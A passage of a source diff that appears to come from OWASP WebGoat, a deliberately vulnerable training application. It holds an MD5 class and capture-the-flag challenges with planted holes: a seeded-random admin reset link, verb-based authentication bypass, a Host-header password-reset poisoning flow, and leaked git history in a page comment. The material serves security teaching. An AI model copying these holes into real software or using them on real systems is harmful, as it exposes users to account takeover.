return encode(finalState.state, 16);
}
/**
* Returns 32-character hex representation of this hash.
*
* @return String representation of this object's hash.
* @since ostermillerutils 1.00.00
*/
public String getHashString() {
return toHex(this.getHash());
}
/**
* Gets the MD5 hash of the given byte array.
*
* @param b byte array for which an MD5 hash is desired.
* @return Array of 16 bytes, the hash of all updated bytes.
* @since ostermillerutils 1.00.00
*/
public static byte[] getHash(byte[] b) {
MD5 md5 = new MD5();
md5.update(b);
return md5.getHash();
}
/**
* Gets the MD5 hash of the given byte array.
*
* @param b byte array for which an MD5 hash is desired.
* @return 32-character hex representation the data's MD5 hash.
* @since ostermillerutils 1.00.00
*/
public static String getHashString(byte[] b) {
MD5 md5 = new MD5();
md5.update(b);
return md5.getHashString();
}
/**
* Gets the MD5 hash the data on the given InputStream.
*
* @param in byte array for which an MD5 hash is desired.
* @return Array of 16 bytes, the hash of all updated bytes.
* @throws IOException if an I/O error occurs.
* @since ostermillerutils 1.00.00
*/
public static byte[] getHash(InputStream in) throws IOException {
MD5 md5 = new MD5();
byte[] buffer = new byte[1024];
int read;
while ((read = in.read(buffer)) != -1) {
md5.update(buffer, read);
}
return md5.getHash();
}
/**
* Gets the MD5 hash the data on the given InputStream.
*
* @param in byte array for which an MD5 hash is desired.
* @return 32-character hex representation the data's MD5 hash.
* @throws IOException if an I/O error occurs.
* @since ostermillerutils 1.00.00
*/
public static String getHashString(InputStream in) throws IOException {
MD5 md5 = new MD5();
byte[] buffer = new byte[1024];
int read;
while ((read = in.read(buffer)) != -1) {
md5.update(buffer, read);
}
return md5.getHashString();
}
/**
* Gets the MD5 hash of the given file.
*
* @param f file for which an MD5 hash is desired.
* @return Array of 16 bytes, the hash of all updated bytes.
* @throws IOException if an I/O error occurs.
* @since ostermillerutils 1.00.00
*/
public static byte[] getHash(File f) throws IOException {
InputStream is = new FileInputStream(f);
byte[] hash = getHash(is);
is.close();
return hash;
}
/**
* Gets the MD5 hash of the given file.
*
* @param f file array for which an MD5 hash is desired.
* @return 32-character hex representation the data's MD5 hash.
* @throws IOException if an I/O error occurs.
* @since ostermillerutils 1.00.00
*/
public static String getHashString(File f) throws IOException {
InputStream is = new FileInputStream(f);
String hash = getHashString(is);
is.close();
return hash;
}
/**
* Gets the MD5 hash of the given String.
* The string is converted to bytes using the current
* platform's default character encoding.
*
* @param s String for which an MD5 hash is desired.
* @return Array of 16 bytes, the hash of all updated bytes.
* @since ostermillerutils 1.00.00
*/
public static byte[] getHash(String s) {
MD5 md5 = new MD5();
md5.update(s);
return md5.getHash();
}
/**
* Gets the MD5 hash of the given String.
* The string is converted to bytes using the current
* platform's default character encoding.
*
* @param s String for which an MD5 hash is desired.
* @return 32-character hex representation the data's MD5 hash.
* @since ostermillerutils 1.00.00
*/
public static String getHashString(String s) {
MD5 md5 = new MD5();
md5.update(s);
return md5.getHashString();
}
/**
* Gets the MD5 hash of the given String.
*
* @param s String for which an MD5 hash is desired.
* @param enc The name of a supported character encoding.
* @return Array of 16 bytes, the hash of all updated bytes.
* @throws UnsupportedEncodingException If the named encoding is not supported.
* @since ostermillerutils 1.00.00
*/
public static byte[] getHash(String s, String enc) throws UnsupportedEncodingException {
MD5 md5 = new MD5();
md5.update(s, enc);
return md5.getHash();
}
/**
* Gets the MD5 hash of the given String.
*
* @param s String for which an MD5 hash is desired.
* @param enc The name of a supported character encoding.
* @return 32-character hex representation the data's MD5 hash.
* @throws UnsupportedEncodingException If the named encoding is not supported.
* @since ostermillerutils 1.00.00
*/
public static String getHashString(String s, String enc) throws UnsupportedEncodingException {
MD5 md5 = new MD5();
md5.update(s, enc);
return md5.getHashString();
}
/**
* Reset the MD5 sum to its initial state.
*
* @since ostermillerutils 1.00.00
*/
public void reset() {
workingState.reset();
finalState.valid = false;
}
/**
* Returns 32-character hex representation of this hash.
*
* @return String representation of this object's hash.
* @since ostermillerutils 1.00.00
*/
@Override
public String toString() {
return getHashString();
}
/**
* Update this hash with the given data.
* <p>
* A state may be passed into this method so that we can add padding
* and finalize a md5 hash without limiting our ability to update
* more data later.
* <p>
* If length bytes are not available to be hashed, as many bytes as
* possible will be hashed.
*
* @param state Which state is updated.
* @param buffer Array of bytes to be hashed.
* @param offset Offset to buffer array.
* @param length number of bytes to hash.
* @since ostermillerutils 1.00.00
*/
private void update(MD5State state, byte buffer[], int offset, int length) {
finalState.valid = false;
// if length goes beyond the end of the buffer, cut it short.
if ((length + offset) > buffer.length) {
length = buffer.length - offset;
}
// compute number of bytes mod 64
// this is what we have sitting in a buffer
// that have not been hashed yet
int index = (int) (state.bitCount >>> 3) & 0x3f;
// add the length to the count (translate bytes to bits)
state.bitCount += length << 3;
int partlen = 64 - index;
int i = 0;
if (length >= partlen) {
System.arraycopy(buffer, offset, state.buffer, index, partlen);
transform(state, decode(state.buffer, 64, 0));
for (i = partlen; (i + 63) < length; i += 64) {
transform(state, decode(buffer, 64, i));
}
index = 0;
}
// buffer remaining input
if (i < length) {
for (int start = i; i < length; i++) {
state.buffer[index + i - start] = buffer[i + offset];
}
}
}
/**
* Update this hash with the given data.
* <p>
* If length bytes are not available to be hashed, as many bytes as
* possible will be hashed.
*
* @param buffer Array of bytes to be hashed.
* @param offset Offset to buffer array.
* @param length number of bytes to hash.
* @since ostermillerutils 1.00.00
*/
public void update(byte buffer[], int offset, int length) {
update(workingState, buffer, offset, length);
}
/**
* Update this hash with the given data.
* <p>
* If length bytes are not available to be hashed, as many bytes as
* possible will be hashed.
*
* @param buffer Array of bytes to be hashed.
* @param length number of bytes to hash.
* @since ostermillerutils 1.00.00
*/
public void update(byte buffer[], int length) {
update(buffer, 0, length);
}
/**
* Update this hash with the given data.
*
* @param buffer Array of bytes to be hashed.
* @since ostermillerutils 1.00.00
*/
public void update(byte buffer[]) {
update(buffer, 0, buffer.length);
}
/**
* Updates this hash with a single byte.
*
* @param b byte to be hashed.
* @since ostermillerutils 1.00.00
*/
public void update(byte b) {
byte buffer[] = new byte[1];
buffer[0] = b;
update(buffer, 1);
}
/**
* Update this hash with a String.
* The string is converted to bytes using the current
* platform's default character encoding.
*
* @param s String to be hashed.
* @since ostermillerutils 1.00.00
*/
public void update(String s) {
update(s.getBytes());
}
/**
* Update this hash with a String.
*
* @param s String to be hashed.
* @param enc The name of a supported character encoding.
* @throws UnsupportedEncodingException If the named encoding is not supported.
* @since ostermillerutils 1.00.00
*/
public void update(String s, String enc) throws UnsupportedEncodingException {
update(s.getBytes(enc));
}
/**
* The current state from which the hash sum
* can be computed or updated.
*
* @since ostermillerutils 1.00.00
*/
private MD5State workingState = new MD5State();
/**
* Cached copy of the final MD5 hash sum. This is created when
* the hash is requested and it is invalidated when the hash
* is updated.
*
* @since ostermillerutils 1.00.00
*/
private MD5State finalState = new MD5State();
/**
* Temporary buffer cached here for performance reasons.
*
* @since ostermillerutils 1.00.00
*/
private int[] decodeBuffer = new int[16];
/**
* 64 bytes of padding that can be added if the length
* is not divisible by 64.
*
* @since ostermillerutils 1.00.00
*/
private static final byte padding[] = {
(byte) 0x80, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
};
/**
* Contains internal state of the MD5 class.
* Passes MD5 test suite as defined in RFC1321.
*
* @since ostermillerutils 1.00.00
*/
private class MD5State {
/**
* True if this state is valid.
*
* @since ostermillerutils 1.00.00
*/
private boolean valid = true;
/**
* Reset to initial state.
*
* @since ostermillerutils 1.00.00
*/
private void reset() {
state[0] = 0x67452301;
state[1] = 0xefcdab89;
state[2] = 0x98badcfe;
state[3] = 0x10325476;
bitCount = 0;
}
/**
* 128-byte state
*
* @since ostermillerutils 1.00.00
*/
private int state[] = new int[4];
/**
* 64-bit count of the number of bits that have been hashed.
*
* @since ostermillerutils 1.00.00
*/
private long bitCount;
/**
* 64-byte buffer (512 bits) for storing to-be-hashed characters
*
* @since ostermillerutils 1.00.00
*/
private byte buffer[] = new byte[64];
private MD5State() {
reset();
}
/**
* Set this state to be exactly the same as some other.
*
* @param from state to copy from.
* @since ostermillerutils 1.00.00
*/
private void copy(MD5State from) {
System.arraycopy(from.buffer, 0, this.buffer, 0, this.buffer.length);
System.arraycopy(from.state, 0, this.state, 0, this.state.length);
this.valid = from.valid;
this.bitCount = from.bitCount;
}
}
/**
* Turns array of bytes into string representing each byte as
* a two digit unsigned hex number.
*
* @param hash Array of bytes to convert to hex-string
* @return Generated hex string
* @since ostermillerutils 1.00.00
*/
private static String toHex(byte hash[]) {
StringBuffer buf = new StringBuffer(hash.length * 2);
for (byte element : hash) {
int intVal = element & 0xff;
if (intVal < 0x10) {
// append a zero before a one digit hex
// number to make it two digits.
buf.append("0");
}
buf.append(Integer.toHexString(intVal));
}
return buf.toString();
}
private static int FF(int a, int b, int c, int d, int x, int s, int ac) {
a += ((b & c) | (~b & d));
a += x;
a += ac;
//return rotateLeft(a, s) + b;
a = (a << s) | (a >>> (32 - s));
return a + b;
}
private static int GG(int a, int b, int c, int d, int x, int s, int ac) {
a += ((b & d) | (c & ~d));
a += x;
a += ac;
//return rotateLeft(a, s) + b;
a = (a << s) | (a >>> (32 - s));
return a + b;
}
private static int HH(int a, int b, int c, int d, int x, int s, int ac) {
a += (b ^ c ^ d);
a += x;
a += ac;
//return rotateLeft(a, s) + b;
a = (a << s) | (a >>> (32 - s));
return a + b;
}
private static int II(int a, int b, int c, int d, int x, int s, int ac) {
a += (c ^ (b | ~d));
a += x;
a += ac;
//return rotateLeft(a, s) + b;
a = (a << s) | (a >>> (32 - s));
return a + b;
}
private static byte[] encode(long l) {
byte[] out = new byte[8];
out[0] = (byte) (l & 0xff);
out[1] = (byte) ((l >>> 8) & 0xff);
out[2] = (byte) ((l >>> 16) & 0xff);
out[3] = (byte) ((l >>> 24) & 0xff);
out[4] = (byte) ((l >>> 32) & 0xff);
out[5] = (byte) ((l >>> 40) & 0xff);
out[6] = (byte) ((l >>> 48) & 0xff);
out[7] = (byte) ((l >>> 56) & 0xff);
return out;
}
private static byte[] encode(int input[], int len) {
byte[] out = new byte[len];
int i, j;
for (i = j = 0; j < len; i++, j += 4) {
out[j] = (byte) (input[i] & 0xff);
out[j + 1] = (byte) ((input[i] >>> 8) & 0xff);
out[j + 2] = (byte) ((input[i] >>> 16) & 0xff);
out[j + 3] = (byte) ((input[i] >>> 24) & 0xff);
}
return out;
}
private int[] decode(byte buffer[], int len, int offset) {
int i, j;
for (i = j = 0; j < len; i++, j += 4) {
decodeBuffer[i] = (
(buffer[j + offset] & 0xff)) |
(((buffer[j + 1 + offset] & 0xff)) << 8) |
(((buffer[j + 2 + offset] & 0xff)) << 16) |
(((buffer[j + 3 + offset] & 0xff)) << 24
);
}
return decodeBuffer;
}
private static void transform(MD5State state, int[] x) {
int a = state.state[0];
int b = state.state[1];
int c = state.state[2];
int d = state.state[3];
/* Round 1 */
a = FF(a, b, c, d, x[0], 7, 0xd76aa478); /* 1 */
d = FF(d, a, b, c, x[1], 12, 0xe8c7b756); /* 2 */
c = FF(c, d, a, b, x[2], 17, 0x242070db); /* 3 */
b = FF(b, c, d, a, x[3], 22, 0xc1bdceee); /* 4 */
a = FF(a, b, c, d, x[4], 7, 0xf57c0faf); /* 5 */
d = FF(d, a, b, c, x[5], 12, 0x4787c62a); /* 6 */
c = FF(c, d, a, b, x[6], 17, 0xa8304613); /* 7 */
b = FF(b, c, d, a, x[7], 22, 0xfd469501); /* 8 */
a = FF(a, b, c, d, x[8], 7, 0x698098d8); /* 9 */
d = FF(d, a, b, c, x[9], 12, 0x8b44f7af); /* 10 */
c = FF(c, d, a, b, x[10], 17, 0xffff5bb1); /* 11 */
b = FF(b, c, d, a, x[11], 22, 0x895cd7be); /* 12 */
a = FF(a, b, c, d, x[12], 7, 0x6b901122); /* 13 */
d = FF(d, a, b, c, x[13], 12, 0xfd987193); /* 14 */
c = FF(c, d, a, b, x[14], 17, 0xa679438e); /* 15 */
b = FF(b, c, d, a, x[15], 22, 0x49b40821); /* 16 */
/* Round 2 */
a = GG(a, b, c, d, x[1], 5, 0xf61e2562); /* 17 */
d = GG(d, a, b, c, x[6], 9, 0xc040b340); /* 18 */
c = GG(c, d, a, b, x[11], 14, 0x265e5a51); /* 19 */
b = GG(b, c, d, a, x[0], 20, 0xe9b6c7aa); /* 20 */
a = GG(a, b, c, d, x[5], 5, 0xd62f105d); /* 21 */
d = GG(d, a, b, c, x[10], 9, 0x02441453); /* 22 */
c = GG(c, d, a, b, x[15], 14, 0xd8a1e681); /* 23 */
b = GG(b, c, d, a, x[4], 20, 0xe7d3fbc8); /* 24 */
a = GG(a, b, c, d, x[9], 5, 0x21e1cde6); /* 25 */
d = GG(d, a, b, c, x[14], 9, 0xc33707d6); /* 26 */
c = GG(c, d, a, b, x[3], 14, 0xf4d50d87); /* 27 */
b = GG(b, c, d, a, x[8], 20, 0x455a14ed); /* 28 */
a = GG(a, b, c, d, x[13], 5, 0xa9e3e905); /* 29 */
d = GG(d, a, b, c, x[2], 9, 0xfcefa3f8); /* 30 */
c = GG(c, d, a, b, x[7], 14, 0x676f02d9); /* 31 */
b = GG(b, c, d, a, x[12], 20, 0x8d2a4c8a); /* 32 */
/* Round 3 */
a = HH(a, b, c, d, x[5], 4, 0xfffa3942); /* 33 */
d = HH(d, a, b, c, x[8], 11, 0x8771f681); /* 34 */
c = HH(c, d, a, b, x[11], 16, 0x6d9d6122); /* 35 */
b = HH(b, c, d, a, x[14], 23, 0xfde5380c); /* 36 */
a = HH(a, b, c, d, x[1], 4, 0xa4beea44); /* 37 */
d = HH(d, a, b, c, x[4], 11, 0x4bdecfa9); /* 38 */
c = HH(c, d, a, b, x[7], 16, 0xf6bb4b60); /* 39 */
b = HH(b, c, d, a, x[10], 23, 0xbebfbc70); /* 40 */
a = HH(a, b, c, d, x[13], 4, 0x289b7ec6); /* 41 */
d = HH(d, a, b, c, x[0], 11, 0xeaa127fa); /* 42 */
c = HH(c, d, a, b, x[3], 16, 0xd4ef3085); /* 43 */
b = HH(b, c, d, a, x[6], 23, 0x04881d05); /* 44 */
a = HH(a, b, c, d, x[9], 4, 0xd9d4d039); /* 45 */
d = HH(d, a, b, c, x[12], 11, 0xe6db99e5); /* 46 */
c = HH(c, d, a, b, x[15], 16, 0x1fa27cf8); /* 47 */
b = HH(b, c, d, a, x[2], 23, 0xc4ac5665); /* 48 */
/* Round 4 */
a = II(a, b, c, d, x[0], 6, 0xf4292244); /* 49 */
d = II(d, a, b, c, x[7], 10, 0x432aff97); /* 50 */
c = II(c, d, a, b, x[14], 15, 0xab9423a7); /* 51 */
b = II(b, c, d, a, x[5], 21, 0xfc93a039); /* 52 */
a = II(a, b, c, d, x[12], 6, 0x655b59c3); /* 53 */
d = II(d, a, b, c, x[3], 10, 0x8f0ccc92); /* 54 */
c = II(c, d, a, b, x[10], 15, 0xffeff47d); /* 55 */
b = II(b, c, d, a, x[1], 21, 0x85845dd1); /* 56 */
a = II(a, b, c, d, x[8], 6, 0x6fa87e4f); /* 57 */
d = II(d, a, b, c, x[15], 10, 0xfe2ce6e0); /* 58 */
c = II(c, d, a, b, x[6], 15, 0xa3014314); /* 59 */
b = II(b, c, d, a, x[13], 21, 0x4e0811a1); /* 60 */
a = II(a, b, c, d, x[4], 6, 0xf7537e82); /* 61 */
d = II(d, a, b, c, x[11], 10, 0xbd3af235); /* 62 */
c = II(c, d, a, b, x[2], 15, 0x2ad7d2bb); /* 63 */
b = II(b, c, d, a, x[9], 21, 0xeb86d391); /* 64 */
state.state[0] += a;
state.state[1] += b;
state.state[2] += c;
state.state[3] += d;
}
}

View File

@ -0,0 +1,43 @@
package org.owasp.webgoat.plugin.challenge7;
import java.util.Random;
/**
* WARNING: DO NOT CHANGE FILE WITHOUT CHANGING .git contents
*
* @author nbaars
* @since 8/17/17.
*/
public class PasswordResetLink {
public String createPasswordReset(String username, String key) {
Random random = new Random();
if (username.equalsIgnoreCase("admin")) {
//Admin has a fix reset link
random.setSeed(key.length());
}
return scramble(random, scramble(random, scramble(random, MD5.getHashString(username))));
}
public static String scramble(Random random, String inputString) {
char a[] = inputString.toCharArray();
for (int i = 0; i < a.length; i++) {
int j = random.nextInt(a.length);
char temp = a[i];
a[i] = a[j];
a[j] = temp;
}
return new String(a);
}
public static void main(String[] args) {
if (args == null || args.length != 2) {
System.out.println("Need a username and key");
System.exit(1);
}
String username = args[0];
String key = args[1];
System.out.println("Generation password reset link for " + username);
System.out.println("Created password reset link: " + new PasswordResetLink().createPasswordReset(username, key));
}
}

View File

@ -0,0 +1,68 @@
package org.owasp.webgoat.plugin.challenge8;
import com.google.common.collect.Maps;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.plugin.Flag;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.util.HashMap;
import java.util.Map;
import java.util.stream.Collectors;
/**
* @author nbaars
* @since 4/8/17.
*/
@AssignmentPath("/challenge/8")
@Slf4j
public class Assignment8 extends AssignmentEndpoint {
private static final Map<Integer, Integer> votes = Maps.newHashMap();
static {
votes.put(1, 400);
votes.put(2, 120);
votes.put(3, 140);
votes.put(4, 150);
votes.put(5, 300);
}
@GetMapping(value = "/vote/{stars}", produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public ResponseEntity<?> vote(@PathVariable(value = "stars") int nrOfStars, HttpServletRequest request) {
//Simple implementation of VERB Based Authentication
String msg = "";
if (request.getMethod().equals("GET")) {
HashMap<String, Object> json = Maps.newHashMap();
json.put("error", true);
json.put("message", "Sorry but you need to login first in order to vote");
return ResponseEntity.status(200).body(json);
}
Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);
votes.put(nrOfStars, allVotesForStar + 1);
return ResponseEntity.ok().header("X-Flag", "Thanks for voting, your flag is: " + Flag.FLAGS.get(8)).build();
}
@GetMapping("/votes/")
public ResponseEntity<?> getVotes() {
return ResponseEntity.ok(votes.entrySet().stream().collect(Collectors.toMap(e -> "" + e.getKey(), e -> e.getValue())));
}
@GetMapping("/votes/average")
public ResponseEntity<Map<String, Integer>> average() {
int totalNumberOfVotes = votes.values().stream().mapToInt(i -> i.intValue()).sum();
int categories = votes.entrySet().stream().mapToInt(e -> e.getKey() * e.getValue()).reduce(0, (a, b) -> a + b);
Map json = Maps.newHashMap();
json.put("average", (int) Math.ceil((double) categories / totalNumberOfVotes));
return ResponseEntity.ok(json);
}
}

View File

@ -0,0 +1,39 @@
package org.owasp.webgoat.plugin.challenge8;
import com.google.common.collect.Lists;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
import java.util.List;
/**
* @author nbaars
* @since 3/21/17.
*/
public class Challenge8 extends NewLesson {
@Override
public Category getDefaultCategory() {
return Category.CHALLENGE;
}
@Override
public List<String> getHints() {
return Lists.newArrayList();
}
@Override
public Integer getDefaultRanking() {
return 10;
}
@Override
public String getTitle() {
return "challenge8.title";
}
@Override
public String getId() {
return "Challenge8";
}
}

View File

@ -0,0 +1,159 @@
package org.owasp.webgoat.plugin.challenge9;
import com.beust.jcommander.internal.Lists;
import com.beust.jcommander.internal.Maps;
import com.google.common.collect.EvictingQueue;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.mail.IncomingMailEvent;
import org.owasp.webgoat.users.UserRepository;
import org.owasp.webgoat.users.WebGoatUser;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpMethod;
import org.springframework.jms.core.JmsTemplate;
import org.springframework.ui.Model;
import org.springframework.util.StringUtils;
import org.springframework.validation.BindingResult;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.client.RestTemplate;
import javax.servlet.http.HttpServletRequest;
import java.time.LocalDateTime;
import java.util.Map;
import java.util.UUID;
import static org.owasp.webgoat.plugin.Flag.FLAGS;
import static org.owasp.webgoat.plugin.SolutionConstants.PASSWORD_TOM_9;
import static org.owasp.webgoat.plugin.SolutionConstants.TOM_EMAIL;
import static org.springframework.web.bind.annotation.RequestMethod.POST;
/**
* @author nbaars
* @since 4/8/17.
*/
@AssignmentPath("/challenge/9")
@Slf4j
public class Assignment9 extends AssignmentEndpoint {
private static Map<String, String> userToTomResetLink = Maps.newHashMap();
private static Map<String, String> usersToTomPassword = Maps.newHashMap();
private static EvictingQueue resetLinks = EvictingQueue.create(1000);
private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " +
"<a target='_blank' href='http://%s/WebGoat/challenge/9/reset-password/%s'>link</a> to reset your password." +
"\n \n\n" +
"If you did not request this password change you can ignore this message." +
"\n" +
"If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" +
"\n\n" +
"Kind regards, \nTeam WebGoat";
@Autowired
private JmsTemplate jmsTemplate;
@Autowired
private UserRepository userRepository;
@RequestMapping(method = POST, value = "/create-password-reset-link")
@ResponseBody
public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServletRequest request, @CookieValue("JSESSIONID") String cookie) {
String resetLink = UUID.randomUUID().toString();
resetLinks.add(resetLink);
String host = request.getHeader("host");
if (StringUtils.hasText(email)) {
if (email.equals(TOM_EMAIL) && host.contains("8081")) { //User indeed changed the host header.
userToTomResetLink.put(getWebSession().getUserName(), resetLink);
fakeClickingLinkEmail(cookie, host, resetLink);
} else {
sendMailToUser(email, host, resetLink);
}
}
return success().feedback("email.send").feedbackArgs(email).build();
}
private void sendMailToUser(@RequestParam String email, String host, String resetLink) {
String username;
WebGoatUser webGoatUser = userRepository.findByUsername(email.substring(0, email.indexOf("@")));
if (webGoatUser != null) {
username = webGoatUser.getUsername();
IncomingMailEvent mail = IncomingMailEvent.builder()
.title("Your password reset link for challenge 9")
.contents(String.format(TEMPLATE, host, resetLink))
.sender("password-reset@webgoat-cloud.net")
.recipient(username)
.time(LocalDateTime.now()).build();
jmsTemplate.convertAndSend("mailbox", mail);
}
}
/**
* We need to add the current cookie of the user otherwise we cannot distinguish in WebWolf for
* which user we need to trace the incoming request. In normal situation this HOST will be in your
* full control so every incoming request would be valid.
*/
private void fakeClickingLinkEmail(String cookie, String host, String resetLink) {
try {
HttpHeaders httpHeaders = new HttpHeaders();
httpHeaders.put(HttpHeaders.COOKIE, Lists.newArrayList("JSESSIONID=" + cookie));
HttpEntity httpEntity = new HttpEntity(httpHeaders);
new RestTemplate().exchange(String.format("http://%s/challenge/9/reset-password/%s", host, resetLink), HttpMethod.GET, httpEntity, Void.class);
} catch (Exception e) {
//don't care
}
}
@PostMapping("/login")
@ResponseBody
public AttackResult login(@RequestParam String password, @RequestParam String email) {
if (TOM_EMAIL.equals(email)) {
String passwordTom = usersToTomPassword.getOrDefault(getWebSession().getUserName(), PASSWORD_TOM_9);
if (passwordTom.equals(PASSWORD_TOM_9)) {
return failed().feedback("login_failed").build();
} else if (passwordTom.equals(password)) {
return success().feedback("challenge.solved").feedbackArgs(FLAGS.get(9)).build();
}
}
return failed().feedback("login_failed.tom").build();
}
@GetMapping("/reset-password/{link}")
public String resetPassword(@PathVariable(value = "link") String link, Model model) {
if (this.resetLinks.contains(link)) {
PasswordChangeForm form = new PasswordChangeForm();
form.setResetLink(link);
model.addAttribute("form", form);
return "password_reset"; //Display html page for changing password
} else {
return "password_link_not_found";
}
}
@PostMapping("/change-password")
public String changePassword(@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) {
if (!StringUtils.hasText(form.getPassword())) {
bindingResult.rejectValue("password", "not.empty");
}
if (bindingResult.hasErrors()) {
return "password_reset";
}
if (!resetLinks.contains(form.getResetLink())) {
return "password_link_not_found";
}
if (checkIfLinkIsFromTom(form.getResetLink())) {
usersToTomPassword.put(getWebSession().getUserName(), form.getPassword());
}
return "success";
}
private boolean checkIfLinkIsFromTom(String resetLinkFromForm) {
String resetLink = userToTomResetLink.getOrDefault(getWebSession().getUserName(), "unknown");
return resetLink.equals(resetLinkFromForm);
}
}

View File

@ -0,0 +1,39 @@
package org.owasp.webgoat.plugin.challenge9;
import com.google.common.collect.Lists;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
import java.util.List;
/**
* @author nbaars
* @since 3/21/17.
*/
public class Challenge9 extends NewLesson {
@Override
public Category getDefaultCategory() {
return Category.CHALLENGE;
}
@Override
public List<String> getHints() {
return Lists.newArrayList();
}
@Override
public Integer getDefaultRanking() {
return 10;
}
@Override
public String getTitle() {
return "challenge9.title";
}
@Override
public String getId() {
return "Challenge9";
}
}

View File

@ -0,0 +1,22 @@
package org.owasp.webgoat.plugin.challenge9;
import lombok.Getter;
import lombok.Setter;
import javax.validation.constraints.NotNull;
import javax.validation.constraints.Size;
/**
* @author nbaars
* @since 8/18/17.
*/
@Getter
@Setter
public class PasswordChangeForm {
@NotNull
@Size(min=6, max=10)
private String password;
private String resetLink;
}

View File

@ -0,0 +1,43 @@
.btn-grey{
background-color:#D8D8D8;
color:#FFF;
}
.rating-block{
background-color:#FAFAFA;
border:1px solid #EFEFEF;
padding:15px 15px 20px 15px;
border-radius:3px;
}
.bold{
font-weight:700;
}
.padding-bottom-7{
padding-bottom:7px;
}
.review-block{
background-color:#FAFAFA;
border:1px solid #EFEFEF;
padding:15px;
border-radius:3px;
margin-bottom:15px;
}
.review-block-name{
font-size:12px;
margin:10px 0;
}
.review-block-date{
font-size:12px;
}
.review-block-rate{
font-size:13px;
margin-bottom:15px;
}
.review-block-title{
font-size:15px;
font-weight:700;
margin-bottom:10px;
}
.review-block-description{
font-size:13px;
}

View File

@ -0,0 +1,82 @@
<!DOCTYPE html>
<!--
** Revision history (automatically added by: /challenge/7/.git/hooks)
2e29cacb85ce5066b8d011bb9769b666812b2fd9 Updated copyright to 2017
ac937c7aab89e042ca32efeb00d4ca08a95b50d6 Removed hardcoded key
f94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website
-->
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:Challenge_7.adoc"></div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container-fluid">
<div class="row">
<div class="col-md-4">
<div class="panel panel-default">
<div class="panel-body">
<div class="text-center">
<h3><i class="fa fa-lock fa-4x"></i></h3>
<h2 class="text-center">Forgot Password?</h2>
<p>You can reset your password here.</p>
<div class="panel-body">
<form id="login-form" class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
action="/WebGoat/challenge/7"
enctype="application/json;charset=UTF-8" role="form">
<div class="form-group">
<div class="input-group">
<span class="input-group-addon"><i
class="glyphicon glyphicon-envelope color-blue"></i></span>
<input id="email" name="email" placeholder="email address"
class="form-control" type="email"/>
</div>
</div>
<div class="form-group">
<input name="recover-submit" class="btn btn-lg btn-primary btn-block"
value="Reset Password" type="submit"/>
</div>
<div class="form-group">
<p>(c) 2017 WebGoat Cloud Platform</p>
</div>
<input type="hidden" class="hide" name="token" id="token" value=""/>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<br/>
<form class="attack-form" method="POST" name="form" action="/WebGoat/challenge/flag">
<div class="form-group">
<div class="input-group">
<div class="input-group-addon"><i class="fa fa-flag-checkered" aria-hidden="true"
style="font-size:20px"></i></div>
<input type="text" class="form-control" id="flag" name="flag"
placeholder="a7179f89-906b-4fec-9d99-f15b796e7208"/>
</div>
<div class="input-group" style="margin-top: 10px">
<button type="submit" class="btn btn-primary">Submit flag</button>
</div>
</div>
</form>
<br/>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
</html>

View File

@ -0,0 +1,255 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:Challenge_8.adoc"></div>
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/challenge8.css}"/>
<script th:src="@{/lesson_js/challenge8.js}" language="JavaScript"></script>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container">
<div class="row">
<div class="col-sm-3">
<div class="rating-block">
<h4>Average user rating</h4>
<h2 class="bold padding-bottom-7">4.3
<small>/ 5</small>
</h2>
<button id="star1" onClick="doVote(1)" type="button" class="btn btn-warning btn-sm" aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button id="star2" onClick="doVote(2)" type="button" class="btn btn-warning btn-sm" aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button id="star3" onClick="doVote(3)" type="button" class="btn btn-warning btn-sm" aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button id="star4" onClick="doVote(4)" type="button" class="btn btn-default btn-grey btn-sm" aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
<button id="star5" onClick="doVote(5)" type="button" class="btn btn-default btn-grey btn-sm" aria-label="Left Align">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</button>
</div>
</div>
<div class="col-sm-3">
